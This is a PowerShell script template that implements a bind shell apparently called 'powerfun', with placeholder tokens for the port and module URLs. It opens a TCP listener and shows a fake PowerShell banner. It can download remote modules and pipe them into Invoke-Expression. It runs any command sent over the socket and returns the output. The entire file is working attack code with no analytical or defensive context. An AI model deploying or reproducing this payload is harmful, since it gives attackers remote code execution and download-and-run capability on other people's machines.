45 lines
1.6 KiB
PowerShell
45 lines
1.6 KiB
PowerShell
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function Get-Webclient {
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$wc = New-Object Net.WebClient
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$wc.UseDefaultCredentials = $true
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$wc.Proxy.Credentials = $wc.Credentials
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$wc
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}
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function powerfun($download) {
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$modules = @(MODULES_REPLACE)
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$listener = [System.Net.Sockets.TcpListener]LPORT_REPLACE
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$listener.start()
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[byte[]]$bytes = 0..255|%{0}
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$client = $listener.AcceptTcpClient()
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$stream = $client.GetStream()
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$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n 'Get-Help Module-Name -Full' for more details on any module.`n 'Get-Module -ListAvailable' for a list of loaded cmdlets.`n`n")
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$stream.Write($sendbytes,0,$sendbytes.Length)
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$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
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$stream.Write($sendbytes,0,$sendbytes.Length)
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if ($download -eq 1) { ForEach ($module in $modules)
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{
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(Get-Webclient).DownloadString($module)|Invoke-Expression
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}}
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while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
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{
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$EncodedText = New-Object System.Text.ASCIIEncoding
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$data = $EncodedText.GetString($bytes,0, $i)
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$sendback = (Invoke-Expression $data 2>&1 | Out-String )
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$sendback2 = $sendback + "PS " + (get-location).Path + "> "
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$x = ($error[0] | out-string)
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$error.clear()
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$sendback2 = $sendback2 + $x
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$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
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$stream.Write($sendbyte,0,$sendbyte.Length)
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$stream.Flush()
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}
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$client.Close()
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$listener.Stop()
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}
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